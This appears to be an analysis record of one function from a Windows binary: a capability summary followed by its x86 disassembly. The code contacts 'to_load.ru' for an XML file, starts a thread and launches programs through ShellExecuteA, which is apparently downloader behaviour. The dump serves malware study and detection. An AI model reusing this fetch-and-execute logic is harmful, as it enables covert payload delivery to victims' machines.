Function at 0x405d98
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
and dword [ebp - 0x30c], 0
lea ecx, [ebp - 0xa9]
call fcn.00401e92
push 0
lea ecx, [ebp - 0x1e1]
call fcn.00401c60
xor dl, dl
lea ecx, [ebp - 0x1ec]
call fcn.00408c31
cmp dword [ebp - 0x1e8], 0
je 0x405dec
mov eax, dword [ebp - 0x1e8]
movsx eax, byte [eax]
test eax, eax
je 0x405dec
and dword [ebp - 0x474], 0
jmp 0x405df6
mov dword [ebp - 0x474], 1
movzx eax, byte [ebp - 0x474]
test eax, eax
je 0x405e44
mov dword [ebp - 0x294], 1
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x310], eax
push dword [ebp - 0x310]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e1]
call fcn.00401cb8
lea ecx, [ebp - 0xa9]
call fcn.00401f3f
mov eax, dword [ebp - 0x294]
jmp 0x406567
push 0
lea ecx, [ebp - 0xc]
call fcn.004084c7
push 0
lea ecx, [ebp - 0x138]
call fcn.004084c7
push dword [section..data]
push 0x409830
lea eax, [ebp - 0xc]
push eax
call fcn.0040869d
add esp, 0xc
push str.http:__to_load.ru_get_xml_file_id
lea ecx, [ebp - 0x138]
call fcn.0040853c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00404fdd
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x314]
cmp dword [eax + 4], 0
je 0x405ec9
mov eax, dword [ebp - 0x314]
mov eax, dword [eax + 4]
movsx eax, byte [eax]
test eax, eax
je 0x405ec9
and dword [ebp - 0x478], 0
jmp 0x405ed3
mov dword [ebp - 0x478], 1
movzx eax, byte [ebp - 0x478]
test eax, eax
jne 0x405eff
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x318], eax
mov dl, 0x3f
mov ecx, dword [ebp - 0x318]
call fcn.00408978
test eax, eax
je 0x405f8e
push 0x10
push 0x409804
push 0x4097e4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x298], 1
lea ecx, [ebp - 0x1e0]
call fcn.00406569
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x344], eax
push dword [ebp - 0x344]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x348], eax
push dword [ebp - 0x348]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x34c], eax
push dword [ebp - 0x34c]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e1]
call fcn.00401cb8
lea ecx, [ebp - 0xa9]
call fcn.00401f3f
mov eax, dword [ebp - 0x298]
jmp 0x406567
or dword [ebp - 0x30c], 1
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00405ab2
movzx eax, byte [ebp - 0x29c]
test eax, eax
jne 0x405fcd
lea ecx, [ebp - 0x1e0]
call fcn.0040578f
movzx eax, al
test eax, eax
jne 0x405fcd
and dword [ebp - 0x47c], 0
jmp 0x405fd7
mov dword [ebp - 0x47c], 1
mov al, byte [ebp - 0x47c]
mov byte [ebp - 0x12d], al
mov eax, dword [ebp - 0x30c]
and eax, 1
je 0x406000
and dword [ebp - 0x30c], 0xfffffffe
lea ecx, [ebp - 0x2ac]
call fcn.00402f85
and dword [ebp - 0x12c], 0
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0xa8]
call fcn.004084ed
lea eax, [ebp - 0x12c]
push eax
push 0
lea eax, [ebp - 0xa8]
push eax
push 0x40814c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x1e0]
push eax
push dword [ebp - 0x12d]
lea ecx, [ebp - 0x128]
call fcn.00406654
lea ecx, [ebp - 0x128]
call fcn.00401f81
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jne 0x406124
mov dword [ebp - 0x2b0], 1
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x358], eax
push dword [ebp - 0x358]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x128]
call fcn.00401f6f
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x35c], eax
push dword [ebp - 0x35c]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e0]
call fcn.00406569
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x388], eax
push dword [ebp - 0x388]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38c], eax
push dword [ebp - 0x38c]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x390], eax
push dword [ebp - 0x390]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e1]
call fcn.00401cb8
lea ecx, [ebp - 0xa9]
call fcn.00401f3f
mov eax, dword [ebp - 0x2b0]
jmp 0x406567
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x1d0]
push eax
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x180]
call fcn.004082aa
lea ecx, [ebp - 0x128]
call fcn.0040578f
movzx eax, al
test eax, eax
je 0x406168
lea ecx, [ebp - 0x180]
call fcn.00401022
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x2c4]
call fcn.00405ab2
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00405ab2
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x2d8]
push eax
lea ecx, [ebp - 0xe4]
call fcn.004013fd
lea ecx, [ebp - 0x2d8]
call fcn.00402f85
lea ecx, [ebp - 0x2c4]
call fcn.00402f85
lea ecx, [ebp - 0x1e0]
call fcn.0040578f
movzx eax, al
test eax, eax
je 0x4061ec
lea ecx, [ebp - 0x128]
call fcn.00406fbc
movzx eax, al
test eax, eax
je 0x4061ec
lea ecx, [ebp - 0xe4]
call fcn.00401022
jmp 0x406243
lea ecx, [ebp - 0x128]
call fcn.00406fbc
movzx eax, al
test eax, eax
je 0x406243
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00405ab2
lea eax, [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0x280]
call fcn.00401367
lea ecx, [ebp - 0x2ec]
call fcn.00402f85
lea ecx, [ebp - 0x280]
call fcn.00401f81
lea ecx, [ebp - 0x280]
call fcn.00401539
cmp dword [ebp - 0xb0], 1
sete al
movzx eax, al
push eax
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x128]
call fcn.004074a0
push eax
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040764d
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x3e8], eax
push dword [ebp - 0x3e8]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0xa0]
call fcn.00401f81
mov dword [ebp - 4], eax
mov byte [ebp - 0xaa], 1
mov eax, dword [ebp - 4]
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0x100
je 0x4062e1
cmp dword [ebp - 0x480], 0x101
je 0x40630b
cmp dword [ebp - 0x480], 0x102
je 0x40634a
cmp dword [ebp - 0x480], 0x103
je 0x406345
jmp 0x4063d5
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x3ec], eax
push 0xa
push 0
push 0
push dword [ebp - 0x3ec]
push 0x4091d4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4063dc
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x128]
call fcn.004074a0
lea ecx, [ebp - 0x288]
call fcn.00405cde
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0x3f0], eax
push dword [ebp - 0x3f0]
call fcn.00401eb5
pop ecx
jmp 0x4063dc
jmp 0x4063dc
push 1
lea eax, [ebp - 0x2fc]
push eax
lea ecx, [ebp - 0x128]
call fcn.004074a0
mov edx, eax
lea ecx, [ebp - 0x290]
call fcn.00408e2b
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x3f4], eax
push dword [ebp - 0x3f4]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x3fc], eax
push 5
push dword [ebp - 0x3f8]
push dword [ebp - 0x3fc]
push str.explorer
push 0x4091d4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x400], eax
push dword [ebp - 0x400]
call fcn.00401eb5
pop ecx
jmp 0x4063dc
mov byte [ebp - 0xaa], 0
lea ecx, [ebp - 0x128]
call fcn.0040578f
movzx eax, al
test eax, eax
je 0x4063fb
push 0xffffffffffffffff
lea ecx, [ebp - 0x180]
call fcn.004012d5
lea ecx, [ebp - 0x1e0]
call fcn.0040578f
movzx eax, al
test eax, eax
je 0x40642c
lea ecx, [ebp - 0x128]
call fcn.00406fbc
movzx eax, al
test eax, eax
je 0x40642c
push 0xffffffffffffffff
lea ecx, [ebp - 0xe4]
call fcn.004012d5
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x406484
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x40644f
lea ecx, [ebp - 0x19c]
call fcn.00405b76
jmp 0x406482
push 0x4094b8
lea ecx, [ebp - 0x304]
call fcn.00408516
lea ecx, [ebp - 0x304]
call fcn.00405b76
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x404], eax
push dword [ebp - 0x404]
call fcn.00401eb5
pop ecx
jmp 0x406498
push 0x10
push 0x4097c4
push 0x409790
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
and dword [ebp - 0x308], 0
lea ecx, [ebp - 0xa0]
call fcn.0040798b
lea ecx, [ebp - 0xe4]
call fcn.0040158c
lea ecx, [ebp - 0x180]
call fcn.0040660f
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x438], eax
push dword [ebp - 0x438]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x128]
call fcn.00401f6f
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x43c], eax
push dword [ebp - 0x43c]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e0]
call fcn.00406569
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x468], eax
push dword [ebp - 0x468]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x46c], eax
push dword [ebp - 0x46c]
call fcn.00401eb5
pop ecx
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x470], eax
push dword [ebp - 0x470]
call fcn.00401eb5
pop ecx
lea ecx, [ebp - 0x1e1]
call fcn.00401cb8
lea ecx, [ebp - 0xa9]
call fcn.00401f3f
mov eax, dword [ebp - 0x308]
leave
ret